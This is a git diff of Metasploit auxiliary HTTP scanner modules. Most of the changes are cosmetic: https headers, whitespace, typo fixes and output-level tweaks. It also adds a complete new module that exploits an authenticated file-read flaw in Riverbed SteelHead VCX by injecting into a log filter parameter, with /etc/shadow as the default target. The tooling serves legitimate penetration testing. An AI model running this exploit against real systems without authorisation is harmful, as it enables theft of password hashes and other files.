diff --git a/modules/auxiliary/scanner/http/ntlm_info_enumeration.rb b/modules/auxiliary/scanner/http/ntlm_info_enumeration.rb
index 35dcb45bc5..8ff136cba6 100644
--- a/modules/auxiliary/scanner/http/ntlm_info_enumeration.rb
+++ b/modules/auxiliary/scanner/http/ntlm_info_enumeration.rb
@@ -1,9 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
-class MetasploitModule < Msf::Auxiliary
 
+class MetasploitModule < Msf::Auxiliary
   include Msf::Exploit::Remote::HttpClient
   include Msf::Auxiliary::Scanner
   include Msf::Auxiliary::Report
@@ -15,7 +15,7 @@ class MetasploitModule < Msf::Auxiliary
           This module makes requests to resources on the target server in
         an attempt to find resources which permit NTLM authentication. For
         resources which permit NTLM authentication, a blank NTLM type 1 message
-        is sent to enumerate a a type 2 message from the target server. The type
+        is sent to enumerate a type 2 message from the target server. The type
         2 message is then parsed for information such as the Active Directory
         domain and NetBIOS name.  A single URI can be specified with TARGET_URI
         and/or a file of URIs can be specified with TARGET_URIS_FILE (default).
@@ -134,5 +134,4 @@ class MetasploitModule < Msf::Auxiliary
       :new_offset => offset + size
     }
   end
-
 end
diff --git a/modules/auxiliary/scanner/http/octopusdeploy_login.rb b/modules/auxiliary/scanner/http/octopusdeploy_login.rb
index 3c4f62a7ca..17138235ad 100644
--- a/modules/auxiliary/scanner/http/octopusdeploy_login.rb
+++ b/modules/auxiliary/scanner/http/octopusdeploy_login.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -7,7 +7,6 @@ require 'metasploit/framework/credential_collection'
 require 'metasploit/framework/login_scanner/octopusdeploy'
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
   include Msf::Auxiliary::Report
   include Msf::Auxiliary::AuthBrute
@@ -17,7 +16,7 @@ class MetasploitModule < Msf::Auxiliary
     super(
       'Name'           => 'Octopus Deploy Login Utility',
       'Description'    => %q{
-        This module simply attempts to login to a Octopus Deploy server using a specific
+        This module simply attempts to login to an Octopus Deploy server using a specific
         username and password. It has been confirmed to work on version 3.4.4
       },
       'Author'         => [ 'James Otten <jamesotten1[at]gmail.com>' ],
@@ -60,16 +59,15 @@ class MetasploitModule < Msf::Auxiliary
         module_fullname: fullname,
         workspace_id: myworkspace_id
       )
-
       if result.success?
         credential_core = create_credential(credential_data)
         credential_data[:core] = credential_core
         create_credential_login(credential_data)
 
-        print_good "#{ip}:#{rport} - LOGIN SUCCESSFUL: #{result.credential}"
+        print_good "#{ip}:#{rport} - Login Successful: #{result.credential}"
       else
         invalidate_login(credential_data)
-        print_status "#{ip}:#{rport} - LOGIN FAILED: #{result.credential} (#{result.status})"
+        vprint_error "#{ip}:#{rport} - LOGIN FAILED: #{result.credential} (#{result.status})"
       end
     end
   end
diff --git a/modules/auxiliary/scanner/http/open_proxy.rb b/modules/auxiliary/scanner/http/open_proxy.rb
index b9dd6c7ffd..5a9599f5a8 100644
--- a/modules/auxiliary/scanner/http/open_proxy.rb
+++ b/modules/auxiliary/scanner/http/open_proxy.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
   include Msf::Auxiliary::Scanner
   include Msf::Auxiliary::WmapScanServer
diff --git a/modules/auxiliary/scanner/http/openmind_messageos_login.rb b/modules/auxiliary/scanner/http/openmind_messageos_login.rb
index 8e654c6a35..b68cb50eb6 100644
--- a/modules/auxiliary/scanner/http/openmind_messageos_login.rb
+++ b/modules/auxiliary/scanner/http/openmind_messageos_login.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
   include Msf::Auxiliary::Report
   include Msf::Auxiliary::AuthBrute
diff --git a/modules/auxiliary/scanner/http/options.rb b/modules/auxiliary/scanner/http/options.rb
index 36226a2d4a..a1f0bb16ef 100644
--- a/modules/auxiliary/scanner/http/options.rb
+++ b/modules/auxiliary/scanner/http/options.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -40,7 +40,7 @@ class MetasploitModule < Msf::Auxiliary
       }, 10)
 
       if (res and res.headers['Allow'])
-        print_status("#{target_host} allows #{res.headers['Allow']} methods")
+        print_good("#{target_host} allows #{res.headers['Allow']} methods")
 
         report_note(
           :host	=> target_host,
@@ -52,7 +52,7 @@ class MetasploitModule < Msf::Auxiliary
         )
 
         if(res.headers['Allow'].index('TRACE'))
-          print_status "#{target_host}:#{rport} - TRACE method allowed."
+          print_good "#{target_host}:#{rport} - TRACE method allowed."
           report_vuln(
             :host	=> target_host,
             :port	=> rport,
diff --git a/modules/auxiliary/scanner/http/oracle_demantra_database_credentials_leak.rb b/modules/auxiliary/scanner/http/oracle_demantra_database_credentials_leak.rb
index 0f635a11fa..dbd67d80e7 100644
--- a/modules/auxiliary/scanner/http/oracle_demantra_database_credentials_leak.rb
+++ b/modules/auxiliary/scanner/http/oracle_demantra_database_credentials_leak.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Auxiliary::Scanner
   include Msf::Auxiliary::Report
   include Msf::Exploit::Remote::HttpClient
@@ -72,5 +71,4 @@ class MetasploitModule < Msf::Auxiliary
       print_good("Credentials decoded: #{creds}") unless creds.empty?
     end
   end
-
 end
diff --git a/modules/auxiliary/scanner/http/oracle_demantra_file_retrieval.rb b/modules/auxiliary/scanner/http/oracle_demantra_file_retrieval.rb
index f56f471fcc..c0f199ecaa 100644
--- a/modules/auxiliary/scanner/http/oracle_demantra_file_retrieval.rb
+++ b/modules/auxiliary/scanner/http/oracle_demantra_file_retrieval.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Auxiliary::Scanner
   include Msf::Auxiliary::Report
   include Msf::Exploit::Remote::HttpClient
@@ -15,7 +14,7 @@ class MetasploitModule < Msf::Auxiliary
       'Description'    => %q{
         This module exploits a file download vulnerability found in Oracle
         Demantra 12.2.1 in combination with an authentication bypass. By
-        combining these exposures, an unauthenticated user can retreive any file
+        combining these exposures, an unauthenticated user can retrieve any file
         on the system by referencing the full file path to any file a vulnerable
         machine.
       },
diff --git a/modules/auxiliary/scanner/http/oracle_ilom_login.rb b/modules/auxiliary/scanner/http/oracle_ilom_login.rb
index 84cb76b53a..eb3187ed61 100644
--- a/modules/auxiliary/scanner/http/oracle_ilom_login.rb
+++ b/modules/auxiliary/scanner/http/oracle_ilom_login.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
   include Msf::Auxiliary::Report
   include Msf::Auxiliary::AuthBrute
diff --git a/modules/auxiliary/scanner/http/owa_ews_login.rb b/modules/auxiliary/scanner/http/owa_ews_login.rb
index e543466f55..382210c03e 100644
--- a/modules/auxiliary/scanner/http/owa_ews_login.rb
+++ b/modules/auxiliary/scanner/http/owa_ews_login.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -8,7 +8,6 @@ require 'rex/proto/http'
 require 'metasploit/framework/credential_collection'
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Auxiliary::Report
   include Msf::Auxiliary::AuthBrute
   include Msf::Auxiliary::Scanner
diff --git a/modules/auxiliary/scanner/http/owa_iis_internal_ip.rb b/modules/auxiliary/scanner/http/owa_iis_internal_ip.rb
index b965422bd1..facefcb1e1 100644
--- a/modules/auxiliary/scanner/http/owa_iis_internal_ip.rb
+++ b/modules/auxiliary/scanner/http/owa_iis_internal_ip.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/auxiliary/scanner/http/owa_login.rb b/modules/auxiliary/scanner/http/owa_login.rb
index 7f951c2e17..04f9844096 100644
--- a/modules/auxiliary/scanner/http/owa_login.rb
+++ b/modules/auxiliary/scanner/http/owa_login.rb
@@ -1,12 +1,11 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 require 'rex/proto/ntlm/message'
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Auxiliary::Report
   include Msf::Auxiliary::AuthBrute
   include Msf::Exploit::Remote::HttpClient
@@ -407,5 +406,4 @@ class MetasploitModule < Msf::Auxiliary
   def msg
     "#{vhost}:#{rport} OWA -"
   end
-
 end
diff --git a/modules/auxiliary/scanner/http/pocketpad_login.rb b/modules/auxiliary/scanner/http/pocketpad_login.rb
index 7e872abac3..77d0adb86f 100644
--- a/modules/auxiliary/scanner/http/pocketpad_login.rb
+++ b/modules/auxiliary/scanner/http/pocketpad_login.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
   include Msf::Auxiliary::Report
   include Msf::Auxiliary::AuthBrute
diff --git a/modules/auxiliary/scanner/http/prev_dir_same_name_file.rb b/modules/auxiliary/scanner/http/prev_dir_same_name_file.rb
index b140664457..2d41f81632 100644
--- a/modules/auxiliary/scanner/http/prev_dir_same_name_file.rb
+++ b/modules/auxiliary/scanner/http/prev_dir_same_name_file.rb
@@ -1,12 +1,11 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 require 'rex/proto/http'
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
   include Msf::Auxiliary::WmapScanDir
   include Msf::Auxiliary::Scanner
@@ -83,7 +82,7 @@ class MetasploitModule < Msf::Auxiliary
         }, 20)
 
         if (res and res.code >= 200 and res.code < 300)
-          print_status("Found #{wmap_base_url}#{testf}")
+          print_good("Found #{wmap_base_url}#{testf}")
 
           report_web_vuln(
             :host	=> ip,
diff --git a/modules/auxiliary/scanner/http/radware_appdirector_enum.rb b/modules/auxiliary/scanner/http/radware_appdirector_enum.rb
index 7d88ebec0b..fc80e32f25 100644
--- a/modules/auxiliary/scanner/http/radware_appdirector_enum.rb
+++ b/modules/auxiliary/scanner/http/radware_appdirector_enum.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
   include Msf::Auxiliary::Report
   include Msf::Auxiliary::AuthBrute
diff --git a/modules/auxiliary/scanner/http/rails_json_yaml_scanner.rb b/modules/auxiliary/scanner/http/rails_json_yaml_scanner.rb
index 9fe94ad34a..9c8021a236 100644
--- a/modules/auxiliary/scanner/http/rails_json_yaml_scanner.rb
+++ b/modules/auxiliary/scanner/http/rails_json_yaml_scanner.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
   include Msf::Auxiliary::Scanner
 
@@ -93,5 +92,4 @@ class MetasploitModule < Msf::Auxiliary
       vprint_status("#{rhost}:#{rport} is not likely to be vulnerable or TARGETURI & HTTP_METHOD must be set")
     end
   end
-
 end
diff --git a/modules/auxiliary/scanner/http/rails_mass_assignment.rb b/modules/auxiliary/scanner/http/rails_mass_assignment.rb
index bdd2fd0835..02a377dfae 100644
--- a/modules/auxiliary/scanner/http/rails_mass_assignment.rb
+++ b/modules/auxiliary/scanner/http/rails_mass_assignment.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -7,7 +7,6 @@ require 'rex/proto/http'
 require 'uri'
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
   include Msf::Auxiliary::WmapScanUniqueQuery
   include Msf::Auxiliary::Scanner
@@ -21,7 +20,7 @@ class MetasploitModule < Msf::Auxiliary
         models with attributes not protected by attr_protected or attr_accessible.
         After attempting to assign a non-existent field, the default rails with
         active_record setup will raise an ActiveRecord::UnknownAttributeError
-        exeption, and reply with HTTP code 500.
+        exception, and reply with HTTP code 500.
       },
 
       'References'     =>
diff --git a/modules/auxiliary/scanner/http/rails_xml_yaml_scanner.rb b/modules/auxiliary/scanner/http/rails_xml_yaml_scanner.rb
index 24f1259a19..9464a40df7 100644
--- a/modules/auxiliary/scanner/http/rails_xml_yaml_scanner.rb
+++ b/modules/auxiliary/scanner/http/rails_xml_yaml_scanner.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
   include Msf::Auxiliary::Scanner
 
@@ -88,5 +87,4 @@ class MetasploitModule < Msf::Auxiliary
       vprint_status("#{rhost}:#{rport} is not likely to be vulnerable or URIPATH & HTTP_METHOD must be set")
     end
   end
-
 end
diff --git a/modules/auxiliary/scanner/http/replace_ext.rb b/modules/auxiliary/scanner/http/replace_ext.rb
index 634a58f24d..fde8d193d8 100644
--- a/modules/auxiliary/scanner/http/replace_ext.rb
+++ b/modules/auxiliary/scanner/http/replace_ext.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -9,7 +9,6 @@ require 'pathname'
 
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
   include Msf::Auxiliary::WmapScanFile
   include Msf::Auxiliary::Scanner
@@ -150,7 +149,7 @@ class MetasploitModule < Msf::Auxiliary
           if res.code.to_i == 400  and ecode != 400
             print_error("Server returned an error code. #{wmap_base_url}#{tpath} #{res.code.to_i}")
           else
-            print_status("Found #{wmap_base_url}#{tpath}")
+            print_good("Found #{wmap_base_url}#{tpath}")
 
             report_web_vuln(
               :host	=> ip,
@@ -176,5 +175,4 @@ class MetasploitModule < Msf::Auxiliary
     }
 
   end
-
 end
diff --git a/modules/auxiliary/scanner/http/rewrite_proxy_bypass.rb b/modules/auxiliary/scanner/http/rewrite_proxy_bypass.rb
index f592f996d7..efca1e04ea 100644
--- a/modules/auxiliary/scanner/http/rewrite_proxy_bypass.rb
+++ b/modules/auxiliary/scanner/http/rewrite_proxy_bypass.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/auxiliary/scanner/http/rfcode_reader_enum.rb b/modules/auxiliary/scanner/http/rfcode_reader_enum.rb
index e48c30f220..788a85734b 100644
--- a/modules/auxiliary/scanner/http/rfcode_reader_enum.rb
+++ b/modules/auxiliary/scanner/http/rfcode_reader_enum.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
   include Msf::Auxiliary::Report
   include Msf::Auxiliary::AuthBrute
diff --git a/modules/auxiliary/scanner/http/rips_traversal.rb b/modules/auxiliary/scanner/http/rips_traversal.rb
index 6167abdb7b..7300c609d0 100644
--- a/modules/auxiliary/scanner/http/rips_traversal.rb
+++ b/modules/auxiliary/scanner/http/rips_traversal.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Auxiliary::Report
   include Msf::Exploit::Remote::HttpClient
   include Msf::Auxiliary::Scanner
diff --git a/modules/auxiliary/scanner/http/riverbed_steelhead_vcx_file_read.rb b/modules/auxiliary/scanner/http/riverbed_steelhead_vcx_file_read.rb
new file mode 100644
index 0000000000..b5cdbb19dc
--- /dev/null
+++ b/modules/auxiliary/scanner/http/riverbed_steelhead_vcx_file_read.rb
@@ -0,0 +1,128 @@
+##
+# This module requires Metasploit: https://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+class MetasploitModule < Msf::Auxiliary
+  include Msf::Exploit::Remote::HttpClient
+  include Msf::Auxiliary::Report
+  include Msf::Auxiliary::Scanner
+
+  def initialize
+    super(
+      'Name'           => 'Riverbed SteelHead VCX File Read',
+      'Description'    => %q{
+          This module exploits an authenticated arbitrary file read in the log module's filter engine.
+          SteelHead VCX (VCX255U) version 9.6.0a was confirmed as vulnerable.
+      },
+      'References'     =>
+        [
+          ['EDB', '42101']
+        ],
+      'Author'         =>
+        [
+          'Gregory DRAPERI <gregory.draper_at_gmail.com>', # Exploit
+          'h00die' # Module
+        ],
+      'DisclosureDate' => 'Jun 01 2017',
+      'License'        =>  MSF_LICENSE
+    )
+
+    register_options(
+      [
+        OptString.new('FILE', [ true,  'Remote file to view', '/etc/shadow']),
+        OptString.new('TARGETURI', [true, 'Vulnerable URI path', '/']),
+        OptString.new('USERNAME', [true, 'Username', 'admin']),
+        OptString.new('PASSWORD', [true, 'Password', 'password']),
+      ])
+  end
+
+  def run_host(ip)
+    # pull our csrf
+    res = send_request_cgi({
+      'uri'    => normalize_uri(datastore['TARGETURI'], 'login'),
+      'method' => 'GET',
+      'vars_get' => {
+        'next' => '/'
+      }
+    }, 25)
+
+    unless res
+      print_error("#{full_uri} - Connection timed out")
+      return
+    end
+
+    cookie = res.get_cookies
+    csrf = cookie.scan(/csrftoken=(\w+);/).flatten[0]
+    vprint_status("CSRF Token: #{csrf}")
+
+    # authenticate
+    res = send_request_cgi({
+      'uri'    => normalize_uri(datastore['TARGETURI'], 'login'),
+      'method' => 'POST',
+      'cookie' => cookie,
+      'vars_post' => {
+        'csrfmiddlewaretoken' => csrf,
+        '_fields' => JSON.generate({
+          'username' => datastore['USERNAME'],
+          'password' => datastore['PASSWORD'],
+          'legalAccepted' => 'N/A',
+          'userAgent' => ''
+          })
+      }
+    }, 25)
+
+    unless res
+      print_error("#{full_uri} - Connection timed out")
+      return
+    end
+
+    if res.code == 400
+      print_error('Failed Authentication')
+      return
+    elsif res.code == 200
+      vprint_good('Authenticated Successfully')
+      cookie = res.get_cookies
+      store_valid_credential(user: datastore['USERNAME'], private: datastore['PASSWORD'], proof: cookie)
+    end
+
+    # pull the file
+    res = send_request_cgi({
+      'uri'    => normalize_uri(datastore['TARGETURI'], 'modules/common/logs'),
+      'method' => 'GET',
+      'cookie' => cookie,
+      'vars_get' => {
+        'filterStr' => "msg:-e .* #{datastore['FILE']}"
+      }
+    }, 25)
+
+    unless res
+      print_error("#{full_uri} - Connection timed out")
+      return
+    end
+
+    if res && res.body
+      result = res.get_json_document
+      unless result.has_key?('web3.model')
+        print_error('Invalid JSON returned')
+        return
+      end
+      reconstructed_file = []
+      # so the format is super icky here.  It makes a hash table for each row in the file. then the 'msg' field starts with
+      # the file name.  It also, by default, includes other files, so we need to check we're on the right file.
+      result['web3.model']['messages']['rows'].each do |row|
+        if row['msg'].start_with?(datastore['FILE'])
+          reconstructed_file << row['msg'].gsub("#{datastore['FILE']}:",'').strip
+        end
+      end
+      if reconstructed_file.any?
+        reconstructed_file = reconstructed_file.join("\n")
+        vprint_good("File Contents:\n#{reconstructed_file}")
+        stored_path = store_loot('host.files', 'text/plain', rhost, reconstructed_file, datastore['FILE'])
+        print_good("Stored #{datastore['FILE']} to #{stored_path}")
+      else
+        print_error("File not found or empty file: #{datastore['FILE']}")
+      end
+    end
+  end
+end
diff --git a/modules/auxiliary/scanner/http/robots_txt.rb b/modules/auxiliary/scanner/http/robots_txt.rb
index 21d9d567a4..b1eb9a5639 100644
--- a/modules/auxiliary/scanner/http/robots_txt.rb
+++ b/modules/auxiliary/scanner/http/robots_txt.rb
@@ -1,10 +1,8 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
-
 class MetasploitModule < Msf::Auxiliary
 
   # Exploit mixins should be called first
diff --git a/modules/auxiliary/scanner/http/s40_traversal.rb b/modules/auxiliary/scanner/http/s40_traversal.rb
index 6f57a4cd5f..890bde5398 100644
--- a/modules/auxiliary/scanner/http/s40_traversal.rb
+++ b/modules/auxiliary/scanner/http/s40_traversal.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
   include Msf::Auxiliary::Scanner
 
diff --git a/modules/auxiliary/scanner/http/sap_businessobjects_user_brute.rb b/modules/auxiliary/scanner/http/sap_businessobjects_user_brute.rb
index ecf1b3627c..1b82439640 100644
--- a/modules/auxiliary/scanner/http/sap_businessobjects_user_brute.rb
+++ b/modules/auxiliary/scanner/http/sap_businessobjects_user_brute.rb
@@ -1,12 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
-
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
   include Msf::Auxiliary::Report
   include Msf::Auxiliary::AuthBrute
diff --git a/modules/auxiliary/scanner/http/sap_businessobjects_user_brute_web.rb b/modules/auxiliary/scanner/http/sap_businessobjects_user_brute_web.rb
index 74ea7b1c92..f85fbfa250 100644
--- a/modules/auxiliary/scanner/http/sap_businessobjects_user_brute_web.rb
+++ b/modules/auxiliary/scanner/http/sap_businessobjects_user_brute_web.rb
@@ -1,12 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
-
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
   include Msf::Auxiliary::Report
   include Msf::Auxiliary::AuthBrute
diff --git a/modules/auxiliary/scanner/http/sap_businessobjects_user_enum.rb b/modules/auxiliary/scanner/http/sap_businessobjects_user_enum.rb
index 1a510f72fe..51b4bcae2c 100644
--- a/modules/auxiliary/scanner/http/sap_businessobjects_user_enum.rb
+++ b/modules/auxiliary/scanner/http/sap_businessobjects_user_enum.rb
@@ -1,12 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
-
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
   include Msf::Auxiliary::Report
   include Msf::Auxiliary::AuthBrute
@@ -17,7 +14,7 @@ class MetasploitModule < Msf::Auxiliary
       'Name'		   => 'SAP BusinessObjects User Enumeration',
       'Description'	=> %Q{
         This module simply attempts to enumerate SAP BusinessObjects
-        users.The dswsbobje interface is only used to verify valid
+        users. The dswsbobje interface is only used to verify valid
         users for CmcApp. Therefore, any valid users that have been
         identified can be leveraged by logging into CmcApp.
         },
diff --git a/modules/auxiliary/scanner/http/sap_businessobjects_version_enum.rb b/modules/auxiliary/scanner/http/sap_businessobjects_version_enum.rb
index 7108da59b9..ac849190b6 100644
--- a/modules/auxiliary/scanner/http/sap_businessobjects_version_enum.rb
+++ b/modules/auxiliary/scanner/http/sap_businessobjects_version_enum.rb
@@ -1,12 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
-
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
   include Msf::Auxiliary::Report
   include Msf::Auxiliary::Scanner
diff --git a/modules/auxiliary/scanner/http/scraper.rb b/modules/auxiliary/scanner/http/scraper.rb
index 67da134ee7..19fb15100f 100644
--- a/modules/auxiliary/scanner/http/scraper.rb
+++ b/modules/auxiliary/scanner/http/scraper.rb
@@ -1,10 +1,8 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
-
 class MetasploitModule < Msf::Auxiliary
 
   # Exploit mixins should be called first
@@ -17,7 +15,7 @@ class MetasploitModule < Msf::Auxiliary
   def initialize
     super(
       'Name'        => 'HTTP Page Scraper',
-      'Description' => 'Scrap defined data from a specific web page based on a regular expresion',
+      'Description' => 'Scrape defined data from a specific web page based on a regular expression',
       'Author'      => ['et'],
       'License'     => MSF_LICENSE
     )
@@ -56,7 +54,7 @@ class MetasploitModule < Msf::Auxiliary
       result = res.body.scan(datastore['PATTERN']).flatten.map{ |s| s.strip }.uniq
 
       result.each do |u|
-        print_status("[#{target_host}] #{tpath} [#{u}]")
+        print_good("[#{target_host}] #{tpath} [#{u}]")
 
         report_note(
           :host    => target_host,
diff --git a/modules/auxiliary/scanner/http/sentry_cdu_enum.rb b/modules/auxiliary/scanner/http/sentry_cdu_enum.rb
index 36984d412f..3cc8c98fd1 100644
--- a/modules/auxiliary/scanner/http/sentry_cdu_enum.rb
+++ b/modules/auxiliary/scanner/http/sentry_cdu_enum.rb
@@ -1,11 +1,11 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 require 'rex/proto/http'
-class MetasploitModule < Msf::Auxiliary
 
+class MetasploitModule < Msf::Auxiliary
   include Msf::Exploit::Remote::HttpClient
   include Msf::Auxiliary::Report
   include Msf::Auxiliary::AuthBrute
diff --git a/modules/auxiliary/scanner/http/servicedesk_plus_traversal.rb b/modules/auxiliary/scanner/http/servicedesk_plus_traversal.rb
index d575aa289c..25787480d3 100644
--- a/modules/auxiliary/scanner/http/servicedesk_plus_traversal.rb
+++ b/modules/auxiliary/scanner/http/servicedesk_plus_traversal.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
   include Msf::Auxiliary::Report
   include Msf::Auxiliary::Scanner
diff --git a/modules/auxiliary/scanner/http/sevone_enum.rb b/modules/auxiliary/scanner/http/sevone_enum.rb
index baeb4f9a8f..34346499ee 100644
--- a/modules/auxiliary/scanner/http/sevone_enum.rb
+++ b/modules/auxiliary/scanner/http/sevone_enum.rb
@@ -1,11 +1,11 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 require 'rex/proto/http'
-class MetasploitModule < Msf::Auxiliary
 
+class MetasploitModule < Msf::Auxiliary
   include Msf::Exploit::Remote::HttpClient
   include Msf::Auxiliary::Report
   include Msf::Auxiliary::AuthBrute
diff --git a/modules/auxiliary/scanner/http/simple_webserver_traversal.rb b/modules/auxiliary/scanner/http/simple_webserver_traversal.rb
index 6492ebc66c..35bbcf25d7 100644
--- a/modules/auxiliary/scanner/http/simple_webserver_traversal.rb
+++ b/modules/auxiliary/scanner/http/simple_webserver_traversal.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Auxiliary::Scanner
   include Msf::Auxiliary::Report
   include Msf::Exploit::Remote::HttpClient
